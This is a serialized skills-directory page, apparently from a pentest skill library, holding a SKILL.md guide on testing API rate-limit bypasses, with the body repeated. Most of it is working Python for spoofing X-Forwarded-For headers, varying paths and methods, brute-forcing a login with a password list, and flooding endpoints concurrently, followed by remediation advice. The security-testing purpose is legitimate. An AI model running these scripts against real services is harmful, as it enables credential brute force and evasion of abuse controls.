[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71BDW90BHFGPMWTHQ5TAZM4":3,"skill-same:01M71BDW90BHFGPMWTHQ5TAZM4":68},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":39,"linkOnly":40,"markdownContent":41,"markdownBody":42,"frontMatter":43,"refName":47,"commitSha":48,"skillDirectory":49,"forksCount":50,"repositoryHtmlUrl":51,"repositoryHomepageUrl":6,"ownerHtmlUrl":52,"ownerBlogUrl":6,"ownerDescription":53,"updatedAt":54,"install":55,"resources":67},"01M71BDW90BHFGPMWTHQ5TAZM4","cyber-performing-api-rate-limiting-bypass",null,"Tests API rate limiting implementations for bypass vulnerabilities by manipulating request headers, IP addresses, HTTP methods, API versions, and encoding schemes to circumvent request throttling controls. The tester identifies rate limit headers, determines enforcement mechanisms, and attempts bypasses including X-Forwarded-For spoofing, parameter pollution, case variation, and endpoint path mani","nexuslinkproductions\u002Fyuri-os","nexuslinkproductions","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F273246263?v=4","01M718YX9NZRCW50B59B8ZVDKN","Marcel Spatz","01M718YXAQ7530F4B1VKN6SFQV",2,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fcyber-performing-api-rate-limiting-bypass\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38],"performing api rate limiting bypass","api","rate","rate limiting","cyber performing api rate limiting bypass","api rate limiting","performing","api rate","limit","path","endpoint","rate limit","addresses","headers","request","maps","pollution","false","cybersecurity","ip","2026-11-10 10:12:30",false,"---\nname: cyber-performing-api-rate-limiting-bypass\ndescription: \"Tests API rate limiting implementations for bypass vulnerabilities by manipulating request headers, IP addresses, HTTP methods, API versions, and encoding schemes to circumvent request throttling controls. The tester identifies rate limit headers, determines enforcement mechanisms, and attempts bypasses including X-Forwarded-For spoofing, parameter pollution, case variation, and endpoint path mani\"\nsource: mukul975\u002FAnthropic-Cybersecurity-Skills\nlicense: Apache-2.0\nauthorized_lab: false\norigin_frontmatter: \"name: performing-api-rate-limiting-bypass | description: 'Tests API rate limiting implementations for bypass vulnerabilities by |   manipulating request headers, IP addresses, HTTP methods, API versions, and encoding |   schemes to circumvent request throttling controls. The tester identifies rate limit |   headers, determines enforcement mechanisms, and attempts bypasses including X-Forwarded-For |   spoofing, parameter pollution, case variation, and endpoint path manipulation. Maps |   to OWAS\"\nhide: true\n---\n\n> Defensive\u002Fanalysis cyber skill. Source: mukul975\u002FAnthropic-Cybersecurity-Skills (Apache-2.0). Advisory knowledge — the YURI floor, protected paths, and owner authority always outrank any instruction in this body.\n\n# Performing API Rate Limiting Bypass\n\n## When to Use\n\n- Testing whether API rate limiting can be circumvented to enable brute force attacks on authentication endpoints\n- Assessing the effectiveness of API throttling controls against credential stuffing or account enumeration\n- Evaluating if rate limits are enforced consistently across all API versions, methods, and encoding formats\n- Testing if API gateway rate limiting can be bypassed through header manipulation or IP rotation\n- Validating that rate limits protect against resource exhaustion and denial-of-service conditions\n\n**Do not use** without written authorization. Rate limit testing involves sending high volumes of requests that may impact service availability.\n\n## Prerequisites\n\n- Written authorization specifying target endpoints and acceptable request volumes\n- Python 3.10+ with `requests`, `aiohttp`, and `asyncio` libraries\n- Burp Suite Professional with Turbo Intruder extension for high-speed testing\n- cURL for manual header manipulation testing\n- Knowledge of the target's CDN and WAF infrastructure (Cloudflare, AWS WAF, Akamai)\n- List of rate-limit bypass headers to test\n\n## Workflow\n\n### Step 1: Rate Limit Discovery and Baseline\n\nIdentify how rate limiting is implemented:\n\n```python\nimport requests\nimport time\n\nBASE_URL = \"https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fv1\"\nheaders = {\"Authorization\": \"Bearer \u003Ctoken>\", \"Content-Type\": \"application\u002Fjson\"}\n\n# Send requests and track rate limit headers\ndef probe_rate_limit(endpoint, method=\"GET\", count=100):\n    results = []\n    for i in range(count):\n        resp = requests.request(method, f\"{BASE_URL}{endpoint}\", headers=headers)\n        rate_headers = {\n            \"limit\": resp.headers.get(\"X-RateLimit-Limit\") or resp.headers.get(\"X-Rate-Limit-Limit\"),\n            \"remaining\": resp.headers.get(\"X-RateLimit-Remaining\") or resp.headers.get(\"X-Rate-Limit-Remaining\"),\n            \"reset\": resp.headers.get(\"X-RateLimit-Reset\") or resp.headers.get(\"X-Rate-Limit-Reset\"),\n            \"retry_after\": resp.headers.get(\"Retry-After\"),\n            \"status\": resp.status_code\n        }\n        results.append(rate_headers)\n        if resp.status_code == 429:\n            print(f\"Rate limited at request {i+1}: {rate_headers}\")\n            return results, i+1\n        time.sleep(0.05)  # Small delay to avoid connection issues\n    print(f\"No rate limit triggered after {count} requests\")\n    return results, count\n\n# Test key endpoints\nlogin_results, login_threshold = probe_rate_limit(\"\u002Fauth\u002Flogin\", \"POST\", 200)\napi_results, api_threshold = probe_rate_limit(\"\u002Fusers\u002Fme\", \"GET\", 200)\nsearch_results, search_threshold = probe_rate_limit(\"\u002Fsearch?q=test\", \"GET\", 200)\n\nprint(f\"\\nRate Limit Summary:\")\nprint(f\"  Login: Triggered at request {login_threshold}\")\nprint(f\"  API: Triggered at request {api_threshold}\")\nprint(f\"  Search: Triggered at request {search_threshold}\")\n```\n\n### Step 2: IP-Based Bypass Techniques\n\n```python\n# Bypass Technique 1: Header-based IP spoofing\nIP_SPOOFING_HEADERS = [\n    \"X-Forwarded-For\",\n    \"X-Real-IP\",\n    \"X-Original-Forwarded-For\",\n    \"X-Originating-IP\",\n    \"X-Remote-IP\",\n    \"X-Remote-Addr\",\n    \"X-Client-IP\",\n    \"X-Host\",\n    \"X-Forwarded-Host\",\n    \"True-Client-IP\",\n    \"Cluster-Client-IP\",\n    \"X-ProxyUser-Ip\",\n    \"Forwarded\",\n    \"CF-Connecting-IP\",\n    \"Fastly-Client-IP\",\n    \"X-Azure-ClientIP\",\n    \"X-Akamai-Client-IP\",\n]\n\ndef test_ip_spoofing_bypass(endpoint, method=\"POST\", body=None):\n    \"\"\"Test if IP spoofing headers bypass rate limiting.\"\"\"\n    # First, trigger the rate limit normally\n    for i in range(200):\n        resp = requests.request(method, f\"{BASE_URL}{endpoint}\", headers=headers, json=body)\n        if resp.status_code == 429:\n            print(f\"Rate limit triggered at request {i+1}\")\n            break\n\n    # Now test each spoofing header\n    bypasses_found = []\n    for header in IP_SPOOFING_HEADERS:\n        spoofed_headers = {**headers, header: f\"10.0.{i%256}.{(i*7)%256}\"}\n        resp = requests.request(method, f\"{BASE_URL}{endpoint}\", headers=spoofed_headers, json=body)\n        if resp.status_code != 429:\n            bypasses_found.append(header)\n            print(f\"[BYPASS] {header} -> {resp.status_code}\")\n\n    return bypasses_found\n\nlogin_body = {\"username\": \"test@example.com\", \"password\": \"wrongpassword\"}\nbypasses = test_ip_spoofing_bypass(\"\u002Fauth\u002Flogin\", \"POST\", login_body)\n```\n\n### Step 3: Endpoint Variation Bypass\n\n```python\n# Bypass Technique 2: URL path variation\ndef test_path_variation_bypass(base_endpoint, token):\n    \"\"\"Test if path variations bypass rate limit tied to specific endpoint.\"\"\"\n    variations = [\n        base_endpoint,                          # \u002Fapi\u002Fv1\u002Fauth\u002Flogin\n        base_endpoint + \"\u002F\",                    # \u002Fapi\u002Fv1\u002Fauth\u002Flogin\u002F\n        base_endpoint.upper(),                  # \u002FAPI\u002FV1\u002FAUTH\u002FLOGIN\n        base_endpoint + \"?dummy=1\",             # \u002Fapi\u002Fv1\u002Fauth\u002Flogin?dummy=1\n        base_endpoint + \"#fragment\",            # \u002Fapi\u002Fv1\u002Fauth\u002Flogin#fragment\n        base_endpoint + \"%20\",                  # \u002Fapi\u002Fv1\u002Fauth\u002Flogin%20\n        base_endpoint + \"\u002F..\",                  # \u002Fapi\u002Fv1\u002Fauth\u002Flogin\u002F..\n        base_endpoint.replace(\"\u002Fv1\u002F\", \"\u002Fv2\u002F\"),  # \u002Fapi\u002Fv2\u002Fauth\u002Flogin\n        base_endpoint + \";\",                    # \u002Fapi\u002Fv1\u002Fauth\u002Flogin;\n        base_endpoint + \"\\t\",                   # Tab character\n        base_endpoint + \"%00\",                  # Null byte\n        base_endpoint + \"..;\u002F\",                 # Spring path traversal\n    ]\n\n    # Trigger rate limit on original endpoint first\n    for i in range(200):\n        resp = requests.post(f\"{BASE_URL}{base_endpoint}\",\n                           headers={\"Authorization\": f\"Bearer {token}\"},\n                           json={\"username\": \"test\", \"password\": \"wrong\"})\n        if resp.status_code == 429:\n            break\n\n    # Test variations\n    for variant in variations:\n        try:\n            resp = requests.post(f\"{BASE_URL}{variant}\",\n                               headers={\"Authorization\": f\"Bearer {token}\"},\n                               json={\"username\": \"test\", \"password\": \"wrong\"})\n            if resp.status_code != 429:\n                print(f\"[BYPASS] Path variation: {variant} -> {resp.status_code}\")\n        except Exception:\n            pass\n\ntest_path_variation_bypass(\"\u002Fauth\u002Flogin\", \"\u003Ctoken>\")\n```\n\n### Step 4: HTTP Method and Content-Type Bypass\n\n```python\n# Bypass Technique 3: Method and content-type switching\ndef test_method_bypass(endpoint, original_body):\n    \"\"\"Test if rate limit is method-specific.\"\"\"\n    methods_to_test = [\"POST\", \"PUT\", \"PATCH\", \"GET\", \"OPTIONS\"]\n\n    content_types = [\n        \"application\u002Fjson\",\n        \"application\u002Fx-www-form-urlencoded\",\n        \"multipart\u002Fform-data\",\n        \"text\u002Fplain\",\n        \"application\u002Fxml\",\n        \"text\u002Fxml\",\n    ]\n\n    # Trigger rate limit with POST + application\u002Fjson\n    for i in range(200):\n        resp = requests.post(f\"{BASE_URL}{endpoint}\",\n                           headers={**headers, \"Content-Type\": \"application\u002Fjson\"},\n                           json=original_body)\n        if resp.status_code == 429:\n            break\n\n    # Test other methods\n    for method in methods_to_test:\n        if method == \"POST\":\n            continue\n        resp = requests.request(method, f\"{BASE_URL}{endpoint}\",\n                              headers=headers, json=original_body)\n        if resp.status_code not in (429, 405):\n            print(f\"[BYPASS] Method switch to {method}: {resp.status_code}\")\n\n    # Test other content types\n    for ct in content_types:\n        if ct == \"application\u002Fjson\":\n            continue\n        test_headers = {**headers, \"Content-Type\": ct}\n        if ct == \"application\u002Fx-www-form-urlencoded\":\n            data = \"&\".join(f\"{k}={v}\" for k, v in original_body.items())\n            resp = requests.post(f\"{BASE_URL}{endpoint}\", headers=test_headers, data=data)\n        else:\n            resp = requests.post(f\"{BASE_URL}{endpoint}\", headers=test_headers,\n                               data=str(original_body))\n        if resp.status_code != 429:\n            print(f\"[BYPASS] Content-Type {ct}: {resp.status_code}\")\n\ntest_method_bypass(\"\u002Fauth\u002Flogin\", {\"username\": \"test@example.com\", \"password\": \"wrong\"})\n```\n\n### Step 5: Account-Level Bypass Techniques\n\n```python\n# Bypass Technique 4: Rotate identifiers to avoid per-account limits\nimport string\nimport random\n\ndef test_account_rotation_bypass(login_endpoint, target_password_list):\n    \"\"\"Test if rate limit is per-account, bypassed by rotating usernames.\"\"\"\n    target_email = \"victim@example.com\"\n\n    # Test 1: Per-account rate limit bypass by rotating the username field\n    # with slight variations\n    email_variations = [\n        target_email,\n        target_email.upper(),\n        f\" {target_email}\",\n        f\"{target_email} \",\n        target_email.replace(\"@\", \"%40\"),\n        f\"+tag@\".join(target_email.split(\"@\")),  # victim+tag@example.com\n    ]\n\n    for password in target_password_list[:50]:\n        for email_var in email_variations:\n            resp = requests.post(f\"{BASE_URL}{login_endpoint}\",\n                               json={\"username\": email_var, \"password\": password})\n            if resp.status_code == 200:\n                print(f\"[SUCCESS] Logged in with: {email_var} \u002F {password}\")\n                return True\n            elif resp.status_code == 429:\n                print(f\"Rate limited on variation: {email_var}\")\n            # Small delay\n            time.sleep(0.1)\n\n    return False\n\n# Bypass Technique 5: Parameter pollution\ndef test_parameter_pollution_bypass(endpoint):\n    \"\"\"Add extra parameters to make each request appear unique.\"\"\"\n    for i in range(200):\n        random_param = ''.join(random.choices(string.ascii_lowercase, k=8))\n        resp = requests.post(\n            f\"{BASE_URL}{endpoint}?{random_param}={i}\",\n            headers=headers,\n            json={\"username\": \"test@example.com\", \"password\": f\"attempt_{i}\"}\n        )\n        if resp.status_code == 429:\n            print(f\"Parameter pollution failed at request {i+1}\")\n            return False\n    print(\"[BYPASS] Parameter pollution: 200 requests without rate limit\")\n    return True\n```\n\n### Step 6: Distributed and Async Testing\n\n```python\nimport asyncio\nimport aiohttp\n\nasync def distributed_rate_limit_test(endpoint, total_requests=1000, concurrency=50):\n    \"\"\"Test rate limiting under concurrent load.\"\"\"\n    results = {\"success\": 0, \"rate_limited\": 0, \"errors\": 0}\n\n    async def make_request(session, request_num):\n        try:\n            # Rotate X-Forwarded-For per request\n            req_headers = {\n                **headers,\n                \"X-Forwarded-For\": f\"192.168.{request_num % 256}.{(request_num * 3) % 256}\"\n            }\n            async with session.post(\n                f\"{BASE_URL}{endpoint}\",\n                headers=req_headers,\n                json={\"username\": \"test@example.com\", \"password\": f\"attempt_{request_num}\"}\n            ) as resp:\n                if resp.status == 429:\n                    results[\"rate_limited\"] += 1\n                elif resp.status in (200, 401):\n                    results[\"success\"] += 1\n                else:\n                    results[\"errors\"] += 1\n        except Exception:\n            results[\"errors\"] += 1\n\n    connector = aiohttp.TCPConnector(limit=concurrency)\n    async with aiohttp.ClientSession(connector=connector) as session:\n        tasks = [make_request(session, i) for i in range(total_requests)]\n        await asyncio.gather(*tasks)\n\n    print(f\"\\nDistributed Test Results:\")\n    print(f\"  Successful: {results['success']}\")\n    print(f\"  Rate Limited: {results['rate_limited']}\")\n    print(f\"  Errors: {results['errors']}\")\n    print(f\"  Bypass Rate: {results['success']\u002F(results['success']+results['rate_limited'])*100:.1f}%\")\n\n# asyncio.run(distributed_rate_limit_test(\"\u002Fauth\u002Flogin\"))\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Rate Limiting** | Controlling the number of requests a client can make to an API within a time window, typically enforced per IP, per user, or per API key |\n| **Unrestricted Resource Consumption** | OWASP API4:2023 - APIs that do not properly limit the size or number of resources requested, enabling DoS or brute force attacks |\n| **X-Forwarded-For Spoofing** | Manipulating the X-Forwarded-For header to make the server believe requests originate from different IP addresses, bypassing IP-based rate limits |\n| **Credential Stuffing** | Automated injection of stolen username\u002Fpassword pairs against login endpoints, requiring rate limit bypass for large-scale attacks |\n| **Token Bucket** | Rate limiting algorithm that allows bursts of requests up to a bucket size, refilling at a constant rate |\n| **Sliding Window** | Rate limiting algorithm that tracks requests in a rolling time window, more resistant to burst attacks than fixed windows |\n\n## Tools & Systems\n\n- **Burp Suite Turbo Intruder**: High-performance request sender for rate limit testing using Python-based scripting engine\n- **ffuf**: Fast web fuzzer capable of testing rate limits with configurable request rates and header manipulation\n- **wfuzz**: Web fuzzer with support for header injection, parameter fuzzing, and rate limit evasion techniques\n- **Postman Collection Runner**: Automated collection execution with variable rotation for rate limit bypass testing\n- **Gatling\u002Fk6**: Load testing tools that simulate realistic traffic patterns to test rate limiting under production-like conditions\n\n## Common Scenarios\n\n### Scenario: Login API Rate Limit Bypass Assessment\n\n**Context**: A financial services API implements rate limiting on the login endpoint to prevent brute force attacks. The security team wants to verify the effectiveness of these controls before a compliance audit.\n\n**Approach**:\n1. Baseline: Send 100 requests to `POST \u002Fapi\u002Fv1\u002Fauth\u002Flogin` - rate limited at request 10 per minute per IP\n2. Test X-Forwarded-For rotation: Send 100 requests with unique X-Forwarded-For values - rate limit bypassed (all requests return 401, not 429)\n3. Test path variation: `\u002Fapi\u002Fv1\u002Fauth\u002Flogin\u002F` (trailing slash) resets the rate limit counter\n4. Test API versioning: `\u002Fapi\u002Fv2\u002Fauth\u002Flogin` has no rate limiting configured (shadow API)\n5. Test parameter pollution: Adding `?_=\u003Crandom>` to each request bypasses the rate limit\n6. Test concurrent requests: 50 simultaneous requests from same IP - 45 succeed before rate limit kicks in (race condition in counter)\n7. Determine that rate limiting is implemented at the nginx reverse proxy level using IP-only tracking, trusting X-Forwarded-For header without validation\n\n**Pitfalls**:\n- Sending too many requests too fast and causing actual denial of service to the test environment\n- Not testing rate limits on password reset, MFA verification, and account enumeration endpoints\n- Assuming the rate limit applies globally when it may be per-endpoint or per-method only\n- Missing race conditions in rate limit counters that allow burst bypasses\n- Not testing both authenticated and unauthenticated rate limiting separately\n\n## Output Format\n\n```\n## Finding: Rate Limiting Bypass via X-Forwarded-For Header Spoofing\n\n**ID**: API-RATE-001\n**Severity**: High (CVSS 7.3)\n**OWASP API**: API4:2023 - Unrestricted Resource Consumption\n**Affected Endpoints**:\n  - POST \u002Fapi\u002Fv1\u002Fauth\u002Flogin\n  - POST \u002Fapi\u002Fv1\u002Fauth\u002Fforgot-password\n  - POST \u002Fapi\u002Fv1\u002Fauth\u002Fverify-mfa\n\n**Description**:\nThe API rate limiting implementation relies on the X-Forwarded-For header\nto identify client IP addresses. Since the application sits behind a load\nbalancer that does not strip or validate this header, an attacker can set\narbitrary X-Forwarded-For values to bypass the 10 requests\u002Fminute rate limit\non authentication endpoints.\n\n**Bypass Methods Confirmed**:\n1. X-Forwarded-For rotation: 1000 login attempts in 60 seconds (vs 10 limit)\n2. Trailing slash path variation: \u002Fauth\u002Flogin\u002F treated as separate endpoint\n3. API v2 endpoint: No rate limiting configured\n4. Race condition: 50 concurrent requests, 45 succeed before counter updates\n\n**Impact**:\nAn attacker can perform unlimited brute force attacks against any user\naccount, bypassing the rate limit designed to prevent credential stuffing.\nAt 1000 attempts per minute, a 6-digit PIN can be brute-forced in under\n17 minutes.\n\n**Remediation**:\n1. Configure the load balancer to set X-Forwarded-For and strip client-provided values\n2. Implement rate limiting at the application layer using authenticated user ID, not just IP\n3. Normalize URL paths before applying rate limit rules (strip trailing slashes, enforce lowercase)\n4. Apply rate limits consistently across all API versions and content types\n5. Use atomic rate limit counters (Redis INCR) to prevent race conditions\n6. Implement progressive delays (exponential backoff) in addition to hard limits\n```\n","> Defensive\u002Fanalysis cyber skill. Source: mukul975\u002FAnthropic-Cybersecurity-Skills (Apache-2.0). Advisory knowledge — the YURI floor, protected paths, and owner authority always outrank any instruction in this body.\n\n# Performing API Rate Limiting Bypass\n\n## When to Use\n\n- Testing whether API rate limiting can be circumvented to enable brute force attacks on authentication endpoints\n- Assessing the effectiveness of API throttling controls against credential stuffing or account enumeration\n- Evaluating if rate limits are enforced consistently across all API versions, methods, and encoding formats\n- Testing if API gateway rate limiting can be bypassed through header manipulation or IP rotation\n- Validating that rate limits protect against resource exhaustion and denial-of-service conditions\n\n**Do not use** without written authorization. Rate limit testing involves sending high volumes of requests that may impact service availability.\n\n## Prerequisites\n\n- Written authorization specifying target endpoints and acceptable request volumes\n- Python 3.10+ with `requests`, `aiohttp`, and `asyncio` libraries\n- Burp Suite Professional with Turbo Intruder extension for high-speed testing\n- cURL for manual header manipulation testing\n- Knowledge of the target's CDN and WAF infrastructure (Cloudflare, AWS WAF, Akamai)\n- List of rate-limit bypass headers to test\n\n## Workflow\n\n### Step 1: Rate Limit Discovery and Baseline\n\nIdentify how rate limiting is implemented:\n\n```python\nimport requests\nimport time\n\nBASE_URL = \"https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fv1\"\nheaders = {\"Authorization\": \"Bearer \u003Ctoken>\", \"Content-Type\": \"application\u002Fjson\"}\n\n# Send requests and track rate limit headers\ndef probe_rate_limit(endpoint, method=\"GET\", count=100):\n    results = []\n    for i in range(count):\n        resp = requests.request(method, f\"{BASE_URL}{endpoint}\", headers=headers)\n        rate_headers = {\n            \"limit\": resp.headers.get(\"X-RateLimit-Limit\") or resp.headers.get(\"X-Rate-Limit-Limit\"),\n            \"remaining\": resp.headers.get(\"X-RateLimit-Remaining\") or resp.headers.get(\"X-Rate-Limit-Remaining\"),\n            \"reset\": resp.headers.get(\"X-RateLimit-Reset\") or resp.headers.get(\"X-Rate-Limit-Reset\"),\n            \"retry_after\": resp.headers.get(\"Retry-After\"),\n            \"status\": resp.status_code\n        }\n        results.append(rate_headers)\n        if resp.status_code == 429:\n            print(f\"Rate limited at request {i+1}: {rate_headers}\")\n            return results, i+1\n        time.sleep(0.05)  # Small delay to avoid connection issues\n    print(f\"No rate limit triggered after {count} requests\")\n    return results, count\n\n# Test key endpoints\nlogin_results, login_threshold = probe_rate_limit(\"\u002Fauth\u002Flogin\", \"POST\", 200)\napi_results, api_threshold = probe_rate_limit(\"\u002Fusers\u002Fme\", \"GET\", 200)\nsearch_results, search_threshold = probe_rate_limit(\"\u002Fsearch?q=test\", \"GET\", 200)\n\nprint(f\"\\nRate Limit Summary:\")\nprint(f\"  Login: Triggered at request {login_threshold}\")\nprint(f\"  API: Triggered at request {api_threshold}\")\nprint(f\"  Search: Triggered at request {search_threshold}\")\n```\n\n### Step 2: IP-Based Bypass Techniques\n\n```python\n# Bypass Technique 1: Header-based IP spoofing\nIP_SPOOFING_HEADERS = [\n    \"X-Forwarded-For\",\n    \"X-Real-IP\",\n    \"X-Original-Forwarded-For\",\n    \"X-Originating-IP\",\n    \"X-Remote-IP\",\n    \"X-Remote-Addr\",\n    \"X-Client-IP\",\n    \"X-Host\",\n    \"X-Forwarded-Host\",\n    \"True-Client-IP\",\n    \"Cluster-Client-IP\",\n    \"X-ProxyUser-Ip\",\n    \"Forwarded\",\n    \"CF-Connecting-IP\",\n    \"Fastly-Client-IP\",\n    \"X-Azure-ClientIP\",\n    \"X-Akamai-Client-IP\",\n]\n\ndef test_ip_spoofing_bypass(endpoint, method=\"POST\", body=None):\n    \"\"\"Test if IP spoofing headers bypass rate limiting.\"\"\"\n    # First, trigger the rate limit normally\n    for i in range(200):\n        resp = requests.request(method, f\"{BASE_URL}{endpoint}\", headers=headers, json=body)\n        if resp.status_code == 429:\n            print(f\"Rate limit triggered at request {i+1}\")\n            break\n\n    # Now test each spoofing header\n    bypasses_found = []\n    for header in IP_SPOOFING_HEADERS:\n        spoofed_headers = {**headers, header: f\"10.0.{i%256}.{(i*7)%256}\"}\n        resp = requests.request(method, f\"{BASE_URL}{endpoint}\", headers=spoofed_headers, json=body)\n        if resp.status_code != 429:\n            bypasses_found.append(header)\n            print(f\"[BYPASS] {header} -> {resp.status_code}\")\n\n    return bypasses_found\n\nlogin_body = {\"username\": \"test@example.com\", \"password\": \"wrongpassword\"}\nbypasses = test_ip_spoofing_bypass(\"\u002Fauth\u002Flogin\", \"POST\", login_body)\n```\n\n### Step 3: Endpoint Variation Bypass\n\n```python\n# Bypass Technique 2: URL path variation\ndef test_path_variation_bypass(base_endpoint, token):\n    \"\"\"Test if path variations bypass rate limit tied to specific endpoint.\"\"\"\n    variations = [\n        base_endpoint,                          # \u002Fapi\u002Fv1\u002Fauth\u002Flogin\n        base_endpoint + \"\u002F\",                    # \u002Fapi\u002Fv1\u002Fauth\u002Flogin\u002F\n        base_endpoint.upper(),                  # \u002FAPI\u002FV1\u002FAUTH\u002FLOGIN\n        base_endpoint + \"?dummy=1\",             # \u002Fapi\u002Fv1\u002Fauth\u002Flogin?dummy=1\n        base_endpoint + \"#fragment\",            # \u002Fapi\u002Fv1\u002Fauth\u002Flogin#fragment\n        base_endpoint + \"%20\",                  # \u002Fapi\u002Fv1\u002Fauth\u002Flogin%20\n        base_endpoint + \"\u002F..\",                  # \u002Fapi\u002Fv1\u002Fauth\u002Flogin\u002F..\n        base_endpoint.replace(\"\u002Fv1\u002F\", \"\u002Fv2\u002F\"),  # \u002Fapi\u002Fv2\u002Fauth\u002Flogin\n        base_endpoint + \";\",                    # \u002Fapi\u002Fv1\u002Fauth\u002Flogin;\n        base_endpoint + \"\\t\",                   # Tab character\n        base_endpoint + \"%00\",                  # Null byte\n        base_endpoint + \"..;\u002F\",                 # Spring path traversal\n    ]\n\n    # Trigger rate limit on original endpoint first\n    for i in range(200):\n        resp = requests.post(f\"{BASE_URL}{base_endpoint}\",\n                           headers={\"Authorization\": f\"Bearer {token}\"},\n                           json={\"username\": \"test\", \"password\": \"wrong\"})\n        if resp.status_code == 429:\n            break\n\n    # Test variations\n    for variant in variations:\n        try:\n            resp = requests.post(f\"{BASE_URL}{variant}\",\n                               headers={\"Authorization\": f\"Bearer {token}\"},\n                               json={\"username\": \"test\", \"password\": \"wrong\"})\n            if resp.status_code != 429:\n                print(f\"[BYPASS] Path variation: {variant} -> {resp.status_code}\")\n        except Exception:\n            pass\n\ntest_path_variation_bypass(\"\u002Fauth\u002Flogin\", \"\u003Ctoken>\")\n```\n\n### Step 4: HTTP Method and Content-Type Bypass\n\n```python\n# Bypass Technique 3: Method and content-type switching\ndef test_method_bypass(endpoint, original_body):\n    \"\"\"Test if rate limit is method-specific.\"\"\"\n    methods_to_test = [\"POST\", \"PUT\", \"PATCH\", \"GET\", \"OPTIONS\"]\n\n    content_types = [\n        \"application\u002Fjson\",\n        \"application\u002Fx-www-form-urlencoded\",\n        \"multipart\u002Fform-data\",\n        \"text\u002Fplain\",\n        \"application\u002Fxml\",\n        \"text\u002Fxml\",\n    ]\n\n    # Trigger rate limit with POST + application\u002Fjson\n    for i in range(200):\n        resp = requests.post(f\"{BASE_URL}{endpoint}\",\n                           headers={**headers, \"Content-Type\": \"application\u002Fjson\"},\n                           json=original_body)\n        if resp.status_code == 429:\n            break\n\n    # Test other methods\n    for method in methods_to_test:\n        if method == \"POST\":\n            continue\n        resp = requests.request(method, f\"{BASE_URL}{endpoint}\",\n                              headers=headers, json=original_body)\n        if resp.status_code not in (429, 405):\n            print(f\"[BYPASS] Method switch to {method}: {resp.status_code}\")\n\n    # Test other content types\n    for ct in content_types:\n        if ct == \"application\u002Fjson\":\n            continue\n        test_headers = {**headers, \"Content-Type\": ct}\n        if ct == \"application\u002Fx-www-form-urlencoded\":\n            data = \"&\".join(f\"{k}={v}\" for k, v in original_body.items())\n            resp = requests.post(f\"{BASE_URL}{endpoint}\", headers=test_headers, data=data)\n        else:\n            resp = requests.post(f\"{BASE_URL}{endpoint}\", headers=test_headers,\n                               data=str(original_body))\n        if resp.status_code != 429:\n            print(f\"[BYPASS] Content-Type {ct}: {resp.status_code}\")\n\ntest_method_bypass(\"\u002Fauth\u002Flogin\", {\"username\": \"test@example.com\", \"password\": \"wrong\"})\n```\n\n### Step 5: Account-Level Bypass Techniques\n\n```python\n# Bypass Technique 4: Rotate identifiers to avoid per-account limits\nimport string\nimport random\n\ndef test_account_rotation_bypass(login_endpoint, target_password_list):\n    \"\"\"Test if rate limit is per-account, bypassed by rotating usernames.\"\"\"\n    target_email = \"victim@example.com\"\n\n    # Test 1: Per-account rate limit bypass by rotating the username field\n    # with slight variations\n    email_variations = [\n        target_email,\n        target_email.upper(),\n        f\" {target_email}\",\n        f\"{target_email} \",\n        target_email.replace(\"@\", \"%40\"),\n        f\"+tag@\".join(target_email.split(\"@\")),  # victim+tag@example.com\n    ]\n\n    for password in target_password_list[:50]:\n        for email_var in email_variations:\n            resp = requests.post(f\"{BASE_URL}{login_endpoint}\",\n                               json={\"username\": email_var, \"password\": password})\n            if resp.status_code == 200:\n                print(f\"[SUCCESS] Logged in with: {email_var} \u002F {password}\")\n                return True\n            elif resp.status_code == 429:\n                print(f\"Rate limited on variation: {email_var}\")\n            # Small delay\n            time.sleep(0.1)\n\n    return False\n\n# Bypass Technique 5: Parameter pollution\ndef test_parameter_pollution_bypass(endpoint):\n    \"\"\"Add extra parameters to make each request appear unique.\"\"\"\n    for i in range(200):\n        random_param = ''.join(random.choices(string.ascii_lowercase, k=8))\n        resp = requests.post(\n            f\"{BASE_URL}{endpoint}?{random_param}={i}\",\n            headers=headers,\n            json={\"username\": \"test@example.com\", \"password\": f\"attempt_{i}\"}\n        )\n        if resp.status_code == 429:\n            print(f\"Parameter pollution failed at request {i+1}\")\n            return False\n    print(\"[BYPASS] Parameter pollution: 200 requests without rate limit\")\n    return True\n```\n\n### Step 6: Distributed and Async Testing\n\n```python\nimport asyncio\nimport aiohttp\n\nasync def distributed_rate_limit_test(endpoint, total_requests=1000, concurrency=50):\n    \"\"\"Test rate limiting under concurrent load.\"\"\"\n    results = {\"success\": 0, \"rate_limited\": 0, \"errors\": 0}\n\n    async def make_request(session, request_num):\n        try:\n            # Rotate X-Forwarded-For per request\n            req_headers = {\n                **headers,\n                \"X-Forwarded-For\": f\"192.168.{request_num % 256}.{(request_num * 3) % 256}\"\n            }\n            async with session.post(\n                f\"{BASE_URL}{endpoint}\",\n                headers=req_headers,\n                json={\"username\": \"test@example.com\", \"password\": f\"attempt_{request_num}\"}\n            ) as resp:\n                if resp.status == 429:\n                    results[\"rate_limited\"] += 1\n                elif resp.status in (200, 401):\n                    results[\"success\"] += 1\n                else:\n                    results[\"errors\"] += 1\n        except Exception:\n            results[\"errors\"] += 1\n\n    connector = aiohttp.TCPConnector(limit=concurrency)\n    async with aiohttp.ClientSession(connector=connector) as session:\n        tasks = [make_request(session, i) for i in range(total_requests)]\n        await asyncio.gather(*tasks)\n\n    print(f\"\\nDistributed Test Results:\")\n    print(f\"  Successful: {results['success']}\")\n    print(f\"  Rate Limited: {results['rate_limited']}\")\n    print(f\"  Errors: {results['errors']}\")\n    print(f\"  Bypass Rate: {results['success']\u002F(results['success']+results['rate_limited'])*100:.1f}%\")\n\n# asyncio.run(distributed_rate_limit_test(\"\u002Fauth\u002Flogin\"))\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Rate Limiting** | Controlling the number of requests a client can make to an API within a time window, typically enforced 